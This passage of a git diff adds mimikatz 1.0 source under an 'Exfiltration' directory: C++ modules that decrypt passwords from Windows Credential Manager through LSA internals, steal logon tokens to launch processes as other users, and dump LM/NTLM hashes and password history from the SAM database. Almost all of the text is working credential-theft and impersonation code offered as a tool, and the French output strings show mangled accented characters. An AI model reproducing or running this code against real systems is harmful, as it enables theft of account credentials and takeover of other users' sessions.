&credNb, &pCredential); + + if(NT_SUCCESS(status)) + { + for(DWORD i = 0; i < credNb; i++) + { + wstring Target(pCredential[i]->TargetName); + wstring ShortTarget = (mod_system::GLOB_Version.dwMajorVersion < 6) ? Target : Target.substr(Target.find_first_of(L'=') + 1); + + message << endl; + if(justSecurity) + message << L"\t [" << i << L"] " << Target << L'\t'; + else message << + L"\t * [" << i << L"] Target : " << Target << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"") << endl << + L"\t * [" << i << L"] Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"") << endl << + L"\t * [" << i << L"] User : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"") << endl; + + if((pCredential[i]->Type != CRED_TYPE_GENERIC) && (pCredential[i]->Type != CRED_TYPE_GENERIC_CERTIFICATE)) + { + CREDENTIAL_TARGET_INFORMATION mesInfos = {const_cast(ShortTarget.c_str()), NULL, NULL, NULL, NULL, NULL, NULL, pCredential[i]->Flags, 0 , NULL}; + DWORD dwNbCredentials; + PENCRYPTED_CREDENTIALW * pEncryptedCredential; + NTSTATUS status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential); + if(status == STATUS_INVALID_PARAMETER) + { + mesInfos.Flags |= CRED_TI_USERNAME_TARGET; + status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential); + } + if(NT_SUCCESS(status)) + { + for(DWORD j = 0; j < dwNbCredentials ; j++) + { + wostringstream prefix; prefix << L"[" << j << L"] "; + message << descEncryptedCredential(pEncryptedCredential[j], justSecurity, prefix.str()); + } + SeckPkgFunctionTable->CrediFreeCredentials(dwNbCredentials, pEncryptedCredential); + } + else message << L"Erreur CrediReadDomainCredentials : " << mod_system::getWinError(false, status); + } + else + { + PENCRYPTED_CREDENTIALW pEncryptedCredential; + NTSTATUS status = SeckPkgFunctionTable->CrediRead(logId, CREDP_FLAGS_IN_PROCESS, const_cast(ShortTarget.c_str()), pCredential[i]->Type, 0, &pEncryptedCredential); + if(NT_SUCCESS(status)) + { + message << descEncryptedCredential(pEncryptedCredential, justSecurity); + CredFree(pEncryptedCredential); + } + else message << L"Erreur CrediRead : " << mod_system::getWinError(false, status); + } + } + CredFree(pCredential); + } + else message << L"CredIEnumerate KO : " << mod_system::getWinError(false, status); + } else message << L"n.a. (credman KO)"; + return sendTo(monPipe, message.str()); +} + +wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix) +{ + wostringstream monStream; + + LSA_UNICODE_STRING encryptedPassword = {pEncryptedCredential->Cred.CredentialBlobSize, pEncryptedCredential->Cred.CredentialBlobSize, reinterpret_cast(pEncryptedCredential->Cred.CredentialBlob)}; + wstring cred = getPasswordFromProtectedUnicodeString(&encryptedPassword); + + if(justSecurity) + monStream << L"- {" << pEncryptedCredential->Cred.UserName << L" ; " << cred << L" } "; + else monStream << + L"\t " << prefix << L"User : " << pEncryptedCredential->Cred.UserName << endl << + L"\t " << prefix << L"Cred : " << cred << endl; + + return monStream.str(); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h new file mode 100644 index 00000000..60d12494 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" + +bool searchCredmanFuncs(); +__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector * mesArguments); +__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector * mesArguments); +bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); + +wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix = L""); + +typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE) (IN PLUID pLUID, IN DWORD unk0, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); +typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); + diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp new file mode 100644 index 00000000..7284da72 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp @@ -0,0 +1,88 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "incognito.h" + +bool searchIncognitoFuncs() +{ + return searchLSAFuncs(); +} + +__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector * mesArguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getTokenData, wstring(L"token"))); + return getLogonData(monPipe, mesArguments, &monProvider); +} + +__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector * mesArguments) +{ + wostringstream monStream; + if(searchIncognitoFuncs()) + { + if(!mesArguments->empty() && ((mesArguments->size() == 3) || (mesArguments->size() == 4))) + { + wstring idSecAppHigh = L"0", idSecAppLow = mesArguments->front(), session = mesArguments->at(1), maLigne = mesArguments->back(); + if(mesArguments->size() == 4) + { + idSecAppHigh = idSecAppLow; + idSecAppLow = mesArguments->at(1); + session = mesArguments->at(2); + } + LUID monLUID = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); + DWORD maSession = _wtoi(session.c_str()); + HANDLE monToken; + monStream << L" * OpenTokenByLogonId({" << monLUID.LowPart << L";" << monLUID.HighPart << L"}) : "; + NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(&monLUID, &monToken); + if(NT_SUCCESS(status)) + { + monStream << L"OK !" << endl << + L" * SetTokenInformation(TokenSessionId@" << maSession << L") : "; + if(SetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD)) != 0) + { + monStream << L"OK !" << endl << + L" * CreateProcessAsUser(Token@{" << monLUID.LowPart << L";" << monLUID.HighPart << L"}, TokenSessionId@" << maSession << L", \"" << maLigne << L"\") : "; + PROCESS_INFORMATION mesInfosProcess; + if(mod_process::start(&maLigne, &mesInfosProcess, false, false, monToken)) + { + monStream << L"OK - pid = " << mesInfosProcess.dwProcessId << endl; + CloseHandle(mesInfosProcess.hThread); + CloseHandle(mesInfosProcess.hProcess); + } + else monStream << L"KO - " << mod_system::getWinError() << endl; + CloseHandle(monToken); + } + else monStream << L"KO - " << mod_system::getWinError() << endl; + } + else monStream << L"KO - " << mod_system::getWinError(false, status) << endl; + } + else monStream << L"Format d\'appel invalide : incognito [idSecAppHigh] idSecAppLow sessionDst ligneDeCommande" << endl; + } + return sendTo(monPipe, monStream.str()); +} + +bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) +{ + wostringstream monStream; + if(searchIncognitoFuncs()) + { + HANDLE monToken; + NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(logId, &monToken); + if(NT_SUCCESS(status)) + { + monStream << L"Disponible !"; + DWORD maSession, tailleRetournee; + if(GetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD), &tailleRetournee) != 0) + { + monStream << L" - session d\'origine " << maSession; + CloseHandle(monToken); + } + else monStream << L"Indisponible - SetTokenInformation KO : " << mod_system::getWinError() << endl; + } + else monStream << L"OpenTokenByLogonId KO : " << mod_system::getWinError(false, status) << endl; + } + return sendTo(monPipe, monStream.str()); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h new file mode 100644 index 00000000..a8eae58e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h @@ -0,0 +1,13 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" + +bool searchIncognitoFuncs(); +__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector * mesArguments); +__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector * mesArguments); +bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp new file mode 100644 index 00000000..5555b585 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp @@ -0,0 +1,479 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "sam.h" + +PSAM_I_CONNECT SamIConnect = reinterpret_cast(NULL); +PSAM_R_OPEN_DOMAIN SamrOpenDomain = reinterpret_cast(NULL); +PSAM_R_OPEN_USER SamrOpenUser = reinterpret_cast(NULL); +PSAM_R_ENUMERATE_USERS_IN_DOMAIN SamrEnumerateUsersInDomain = reinterpret_cast(NULL); +PSAM_R_QUERY_INFORMATION_USER SamrQueryInformationUser = reinterpret_cast(NULL); +PSAM_I_FREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast(NULL); +PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast(NULL); +PSAM_R_CLOSE_HANDLE SamrCloseHandle = reinterpret_cast(NULL); +PSAM_I_GET_PRIVATE_DATA SamIGetPrivateData = reinterpret_cast(NULL); +PSYSTEM_FUNCTION_025 SystemFunction025 = reinterpret_cast(NULL); +PSYSTEM_FUNCTION_027 SystemFunction027 = reinterpret_cast(NULL); + +bool searchSAMFuncs() +{ + if(!(SamIConnect && + SamrOpenDomain && + SamrOpenUser && + SamrEnumerateUsersInDomain && + SamrQueryInformationUser && + SamIFree_SAMPR_USER_INFO_BUFFER && + SamIFree_SAMPR_ENUMERATION_BUFFER && + SamrCloseHandle && + SamIGetPrivateData && + SystemFunction025 && + SystemFunction027)) + { + HMODULE hSamsrv = GetModuleHandle(L"samsrv"); + HMODULE hAdvapi32 = GetModuleHandle(L"advapi32"); + + if(hSamsrv && hAdvapi32) + { + SamIConnect = reinterpret_cast(GetProcAddress(hSamsrv, "SamIConnect")); + SamrOpenDomain = reinterpret_cast(GetProcAddress(hSamsrv, "SamrOpenDomain")); + SamrOpenUser = reinterpret_cast(GetProcAddress(hSamsrv, "SamrOpenUser")); + SamrEnumerateUsersInDomain = reinterpret_cast(GetProcAddress(hSamsrv, "SamrEnumerateUsersInDomain")); + SamrQueryInformationUser = reinterpret_cast(GetProcAddress(hSamsrv, "SamrQueryInformationUser")); + SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast(GetProcAddress(hSamsrv, "SamIFree_SAMPR_USER_INFO_BUFFER")); + SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast(GetProcAddress(hSamsrv, "SamIFree_SAMPR_ENUMERATION_BUFFER")); + SamrCloseHandle = reinterpret_cast(GetProcAddress(hSamsrv, "SamrCloseHandle")); + SamIGetPrivateData = reinterpret_cast(GetProcAddress(hSamsrv, "SamIGetPrivateData")); + SystemFunction025 = reinterpret_cast(GetProcAddress(hAdvapi32, "SystemFunction025")); + SystemFunction027 = reinterpret_cast(GetProcAddress(hAdvapi32, "SystemFunction027")); + } + return (SamIConnect && + SamrOpenDomain && + SamrOpenUser && + SamrEnumerateUsersInDomain && + SamrQueryInformationUser && + SamIFree_SAMPR_USER_INFO_BUFFER && + SamIFree_SAMPR_ENUMERATION_BUFFER && + SamrCloseHandle); + } + else return true; +} + +__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector * mesArguments) +{ + wostringstream monStream; + monStream << L"** samsrv.dll/advapi32.dll ** ; Statut recherche : " << (searchSAMFuncs() ? L"OK :)" : L"KO :(") << endl << endl << + L"@SamIConnect = " << SamIConnect << endl << + L"@SamrOpenDomain = " << SamrOpenDomain << endl << + L"@SamrOpenUser = " << SamrOpenUser << endl << + L"@SamrEnumerateUsersInDomain = " << SamrEnumerateUsersInDomain << endl << + L"@SamrQueryInformationUser = " << SamrQueryInformationUser << endl << + L"@SamIFree_SAMPR_USER_INFO_BUFFER = " << SamIFree_SAMPR_USER_INFO_BUFFER << endl << + L"@SamIFree_SAMPR_ENUMERATION_BUFFER = " << SamIFree_SAMPR_ENUMERATION_BUFFER << endl << + L"@SamrCloseHandle = " << SamrCloseHandle << endl << + L"@SamIGetPrivateData = " << SamIGetPrivateData << endl << + L"@SystemFunction025 = " << SystemFunction025 << endl << + L"@SystemFunction027 = " << SystemFunction027 << endl; + return sendTo(monPipe, monStream.str()); +} + +__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector * mesArguments) +{ + if(searchSAMFuncs()) + { + bool sendOk = true, history = true, isCSV = false; + USER_INFORMATION_CLASS monType = UserInternal1Information; + + if(!mesArguments->empty()) + { + isCSV = ((_wcsicmp(mesArguments->front().c_str(), L"/csv") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/csv") == 0); + monType = (((_wcsicmp(mesArguments->front().c_str(), L"/full") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/full") == 0) ? UserAllInformation : UserInternal1Information); + } + + LSA_HANDLE handlePolicy = NULL; + HSAM handleSam = NULL; + HDOMAIN handleDomain = NULL; + HUSER handleUser = NULL; + + LSA_OBJECT_ATTRIBUTES objectAttributes; + memset(&objectAttributes, NULL, sizeof(objectAttributes)); + PPOLICY_ACCOUNT_DOMAIN_INFO ptrPolicyDomainInfo; + + NTSTATUS retourEnum = 0; + PSAMPR_ENUMERATION_BUFFER ptrStructEnumUser = NULL; + DWORD EnumerationContext = 0; + DWORD EnumerationSize = 0; + + PSAMPR_USER_INFO_BUFFER ptrMesInfosUsers = NULL; + + if(NT_SUCCESS(LsaOpenPolicy(NULL, &objectAttributes, POLICY_ALL_ACCESS, &handlePolicy))) + { + if(NT_SUCCESS(LsaQueryInformationPolicy(handlePolicy, PolicyAccountDomainInformation, reinterpret_cast(&ptrPolicyDomainInfo)))) + { + if(NT_SUCCESS(SamIConnect(NULL, &handleSam, 1, SAM_SERVER_CONNECT))) + { + if(NT_SUCCESS(SamrOpenDomain(handleSam, DOMAIN_ALL_ACCESS, ptrPolicyDomainInfo->DomainSid, &handleDomain))) + { + wstring domainName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName); + do + { + retourEnum = SamrEnumerateUsersInDomain(handleDomain, &EnumerationContext, NULL, &ptrStructEnumUser, 1000, &EnumerationSize); + if(NT_SUCCESS(retourEnum) || retourEnum == STATUS_MORE_ENTRIES) + { + for(DWORD numUser = 0; numUser < ptrStructEnumUser->EntriesRead && sendOk; numUser++) + { + wstring monUserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name); + ptrMesInfosUsers = NULL; + + if(NT_SUCCESS(SamrOpenUser(handleDomain, USER_ALL_ACCESS, ptrStructEnumUser->Buffer[numUser].RelativeId, &handleUser))) + { + if(NT_SUCCESS(SamrQueryInformationUser(handleUser, monType, &ptrMesInfosUsers))) + { + WUserAllInformation mesInfos = UserInformationsToStruct(monType, ptrMesInfosUsers); + mesInfos.UserId = ptrStructEnumUser->Buffer[numUser].RelativeId; + mesInfos.DomaineName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName); + + if(mesInfos.UserName.empty()) + mesInfos.UserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name); + + sendOk = descrToPipeInformations(monPipe, monType, mesInfos, isCSV); + SamIFree_SAMPR_USER_INFO_BUFFER(ptrMesInfosUsers, monType); + } + + if(history && SamIGetPrivateData != NULL) + { + sendOk = descrUserHistoryToPipe(monPipe, ptrStructEnumUser->Buffer[numUser].RelativeId, monUserName, domainName, handleUser, monType, isCSV); + } + SamrCloseHandle(reinterpret_cast(&handleUser)); + } + else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir l\'objet utilisateur\n"); + } + SamIFree_SAMPR_ENUMERATION_BUFFER(ptrStructEnumUser); + } + else sendOk = sendTo(monPipe, L"Echec dans l\'obtention de la liste des objets\n"); + + } while(retourEnum == STATUS_MORE_ENTRIES && sendOk); + SamrCloseHandle(reinterpret_cast(&handleDomain)); + } + else sendOk = sendTo(monPipe, L"Impossible d\'obtenir les information sur le domaine\n"); + SamrCloseHandle(reinterpret_cast(&handleSam)); + } + else sendOk = sendTo(monPipe, L"Impossible de se connecter la base de scurit du domaine\n"); + LsaFreeMemory(ptrPolicyDomainInfo); + } + else sendOk = sendTo(monPipe, L"Impossible d\'obtenir des informations sur la politique de scurit\n"); + LsaClose(handlePolicy); + } + else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir la politique de scurit\n"); + + return sendOk; + } + else return getSAMFunctions(monPipe, mesArguments); +} + +bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV) +{ + wstringstream maReponse; + + switch(type) + { + case UserInternal1Information: + if(isCSV) + { + maReponse << + mesInfos.UserId << L";" << + mesInfos.UserName << L";" << + mesInfos.DomaineName << L";" << + mesInfos.LmOwfPassword << L";" << + mesInfos.NtOwfPassword << L";" + ; + } + else + { + maReponse << + L"ID : " << mesInfos.UserId << endl << + L"Nom : " << mesInfos.UserName << endl << + L"Domaine : " << mesInfos.DomaineName << endl << + L"Hash LM : " << mesInfos.LmOwfPassword << endl << + L"Hash NTLM : " << mesInfos.NtOwfPassword << endl + ; + } + break; + case UserAllInformation: + if(isCSV) + { + maReponse << + mesInfos.UserId << L';' << + mesInfos.UserName << L';' << + mesInfos.DomaineName << L';' << + protectMe(mesInfos.FullName) << L';' << + mesInfos.isActif << L';' << + mesInfos.isLocked << L';' << + mesInfos.TypeCompte << L';' << + protectMe(mesInfos.UserComment) << L';' << + protectMe(mesInfos.AdminComment) << L';' << + mesInfos.AccountExpires_strict << L';' << + protectMe(mesInfos.WorkStations) << L';' << + protectMe(mesInfos.HomeDirectory) << L';' << + protectMe(mesInfos.HomeDirectoryDrive) << L';' << + protectMe(mesInfos.ProfilePath) << L';' << + protectMe(mesInfos.ScriptPath) << L';' << + mesInfos.LogonCount << L';' << + mesInfos.BadPasswordCount << L';' << + mesInfos.LastLogon_strict << L';' << + mesInfos.LastLogoff_strict << L';' << + mesInfos.PasswordLastSet_strict << L';' << + mesInfos.isPasswordNotExpire << L';' << + mesInfos.isPasswordNotRequired << L';' << + mesInfos.isPasswordExpired << L';' << + mesInfos.PasswordCanChange_strict << L';' << + mesInfos.PasswordMustChange_strict << L';' << + mesInfos.LmOwfPassword << L';' << + mesInfos.NtOwfPassword << L';' + ; + } + else + { + maReponse << boolalpha << + L"Compte" << endl << + L"======" << endl << + L"ID : " << mesInfos.UserId << endl << + L"Nom : " << mesInfos.UserName << endl << + L"Domaine : " << mesInfos.DomaineName << endl << + L"Nom complet : " << mesInfos.FullName << endl << + L"Actif : " << mesInfos.isActif << endl << + L"Verouill : " << mesInfos.isLocked << endl << + L"Type : " << mesInfos.TypeCompte << endl << + L"Commentaire utilisateur : " << mesInfos.UserComment << endl << + L"Commentaire admin : " << mesInfos.AdminComment << endl << + L"Expiration : " << mesInfos.AccountExpires << endl << + L"Station(s) : " << mesInfos.WorkStations << endl << + endl << + L"Chemins" << endl << + L"-------" << endl << + L"Rpertoire de base : " << mesInfos.HomeDirectory << endl << + L"Lecteur de base : " << mesInfos.HomeDirectoryDrive << endl << + L"Profil : " << mesInfos.ProfilePath << endl << + L"Script de dmarrage : " << mesInfos.ScriptPath << endl << + endl << + L"Connexions" << endl << + L"----------" << endl << + L"Nombre : " << mesInfos.LogonCount << endl << + L"Echecs : " << mesInfos.BadPasswordCount << endl << + L"Dernire connexion : " << mesInfos.LastLogon << endl << + L"Dernire dconnexion : " << mesInfos.LastLogoff << endl << + endl << + L"Mot de passe" << endl << + L"------------" << endl << + L"Dernier changement : " << mesInfos.PasswordLastSet << endl << + L"N\'expire pas : " << mesInfos.isPasswordNotExpire << endl << + L"Peut tre vide : " << mesInfos.isPasswordNotRequired << endl << + L"Mot de passe expir : " << mesInfos.isPasswordExpired << endl << + L"Possibilit changement : " << mesInfos.PasswordCanChange << endl << + L"Obligation changement : " << mesInfos.PasswordMustChange << endl << + endl << + L"Hashs" << endl << + L"-----" << endl << + L"Hash LM : " << mesInfos.LmOwfPassword << endl << + L"Hash NTLM : " << mesInfos.NtOwfPassword << endl << + endl + ; + } + break; + } + + maReponse << endl; + return sendTo(monPipe, maReponse.str()); +} + +WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr) +{ + WUserAllInformation mesInfos; + PSAMPR_USER_INTERNAL1_INFORMATION ptrPassword = NULL; + PSAMPR_USER_ALL_INFORMATION ptrAllInformations = NULL; + + switch(type) + { + case UserInternal1Information: + ptrPassword = reinterpret_cast(monPtr); + + mesInfos.LmPasswordPresent = ptrPassword->LmPasswordPresent != 0; + mesInfos.NtPasswordPresent = ptrPassword->NtPasswordPresent != 0; + + if(mesInfos.LmPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedLmOwfPassword.data, sizeof(ptrPassword->EncryptedLmOwfPassword.data)); + if(mesInfos.NtPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedNtOwfPassword.data, sizeof(ptrPassword->EncryptedNtOwfPassword.data)); + break; + + case UserAllInformation: + ptrAllInformations = reinterpret_cast(monPtr); + + mesInfos.UserId = ptrAllInformations->UserId; + mesInfos.UserName = mod_text::stringOfSTRING(ptrAllInformations->UserName); + mesInfos.FullName = mod_text::stringOfSTRING(ptrAllInformations->FullName); correctMe(mesInfos.FullName); + + mesInfos.isActif = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_DISABLED) == 0; + mesInfos.isLocked = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_AUTO_LOCKED) != 0; + + if(ptrAllInformations->UserAccountControl & USER_SERVER_TRUST_ACCOUNT) + mesInfos.TypeCompte.assign(L"Contrleur de domaine"); + else if(ptrAllInformations->UserAccountControl & USER_WORKSTATION_TRUST_ACCOUNT) + mesInfos.TypeCompte.assign(L"Ordinateur"); + else if(ptrAllInformations->UserAccountControl & USER_NORMAL_ACCOUNT) + mesInfos.TypeCompte.assign(L"Utilisateur"); + else + mesInfos.TypeCompte.assign(L"Inconnu"); + + mesInfos.UserComment = mod_text::stringOfSTRING(ptrAllInformations->UserComment); correctMe(mesInfos.AdminComment); + mesInfos.AdminComment = mod_text::stringOfSTRING(ptrAllInformations->AdminComment); correctMe(mesInfos.AdminComment); + mesInfos.AccountExpires = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires); + mesInfos.AccountExpires_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires, true); + mesInfos.WorkStations = mod_text::stringOfSTRING(ptrAllInformations->WorkStations); + mesInfos.HomeDirectory = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectory); correctMe(mesInfos.HomeDirectory); + mesInfos.HomeDirectoryDrive = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectoryDrive); correctMe(mesInfos.HomeDirectoryDrive); + mesInfos.ProfilePath = mod_text::stringOfSTRING(ptrAllInformations->ProfilePath); correctMe(mesInfos.ProfilePath); + mesInfos.ScriptPath = mod_text::stringOfSTRING(ptrAllInformations->ScriptPath); correctMe(mesInfos.ScriptPath); + mesInfos.LogonCount = ptrAllInformations->LogonCount; + mesInfos.BadPasswordCount = ptrAllInformations->BadPasswordCount; + mesInfos.LastLogon = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon); + mesInfos.LastLogon_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon, true); + mesInfos.LastLogoff = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff); + mesInfos.LastLogoff_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff, true); + mesInfos.PasswordLastSet = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet); + mesInfos.PasswordLastSet_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet, true); + mesInfos.isPasswordNotExpire = (ptrAllInformations->UserAccountControl & USER_DONT_EXPIRE_PASSWORD) != 0; + mesInfos.isPasswordNotRequired = (ptrAllInformations->UserAccountControl & USER_PASSWORD_NOT_REQUIRED) != 0; + mesInfos.isPasswordExpired = ptrAllInformations->PasswordExpired != 0; + mesInfos.PasswordCanChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange); + mesInfos.PasswordCanChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange, true); + mesInfos.PasswordMustChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange); + mesInfos.PasswordMustChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange, true); + mesInfos.LmPasswordPresent = ptrAllInformations->LmPasswordPresent != 0; + mesInfos.NtPasswordPresent = ptrAllInformations->NtPasswordPresent != 0; + + if(mesInfos.LmPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast(ptrAllInformations->LmOwfPassword.Buffer), ptrAllInformations->LmOwfPassword.Length); + if(mesInfos.NtPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast(ptrAllInformations->NtOwfPassword.Buffer), ptrAllInformations->NtOwfPassword.Length); + + break; + } + return mesInfos; +} + +bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV) +{ + WUserAllInformation mesInfos; + mesInfos.DomaineName = domainName; + mesInfos.UserId = rid; + + DWORD Context = 2, Type = 0, tailleBlob; + PWHashHistory pMesDatas = NULL; + bool sendOk = true; + + if(NT_SUCCESS(SamIGetPrivateData(handleUser, &Context, &Type, &tailleBlob, &pMesDatas))) + { + unsigned short nbEntrees = min(pMesDatas->histNTLMsize, pMesDatas->histLMsize) / 16; + + for(unsigned short i = 1; i < nbEntrees && sendOk; i++) + { + BYTE monBuff[16] = {0}; + + wostringstream userNameQualif; + userNameQualif << monUserName << L"{p-" << i << L"}"; + mesInfos.UserName = userNameQualif.str(); + + if(NT_SUCCESS(SystemFunction025(pMesDatas->hashs[nbEntrees + i], &rid, monBuff))) + { + mesInfos.LmPasswordPresent = 1; + mesInfos.LmOwfPassword = mod_text::stringOfHex(monBuff, 0x10); + } + else + { + mesInfos.LmPasswordPresent = 0; + mesInfos.LmOwfPassword = L"chec de dcodage :("; + } + + if(NT_SUCCESS(SystemFunction027(pMesDatas->hashs[i], &rid, monBuff))) + { + mesInfos.NtPasswordPresent = 1; + mesInfos.NtOwfPassword = mod_text::stringOfHex(monBuff, 0x10); + } + else + { + mesInfos.NtPasswordPresent = 0; + mesInfos.NtOwfPassword = L"chec de dcodage :("; + } + + sendOk = descrToPipeInformations(monPipe, type, mesInfos, isCSV); + } + LocalFree(pMesDatas); + } + return sendOk; +} + +wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict) +{ + wostringstream reponse; + + if(monInt.LowPart == ULONG_MAX && monInt.HighPart == LONG_MAX) + { + if(!isStrict) + reponse << L"N\'arrive jamais"; + } + else if(monInt.LowPart == 0 && monInt.HighPart == 0) + { + if(!isStrict) + reponse << L"N\'est pas encore arriv"; + } + else + { + SYSTEMTIME monTimeStamp; + if(FileTimeToSystemTime(reinterpret_cast(&monInt), &monTimeStamp) != FALSE) + { + reponse << dec << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wDay << L"/" << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMonth << L"/" << + setw(4)<< setfill(wchar_t('0')) << monTimeStamp.wYear << L" " << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wHour << L":" << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMinute << L":" << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wSecond; + } + } + return reponse.str(); +} + +wstring protectMe(wstring &maChaine) +{ + wstring result; + if(!maChaine.empty()) + { + result = L"\""; + result.append(maChaine); + result.append(L"\""); + } + return result; +} + +void correctMe(wstring &maChaine) +{ + unsigned char source[] = {0x19, 0x20, 0x13, 0x20, 0xab, 0x00, 0xbb, 0x00, 0x26, 0x20}; + unsigned char replac[] = {'\'', 0 , '-' , 0 , '\"', 0 , '\"', 0, '.', 0 }; + + for(unsigned int i = 0; i < 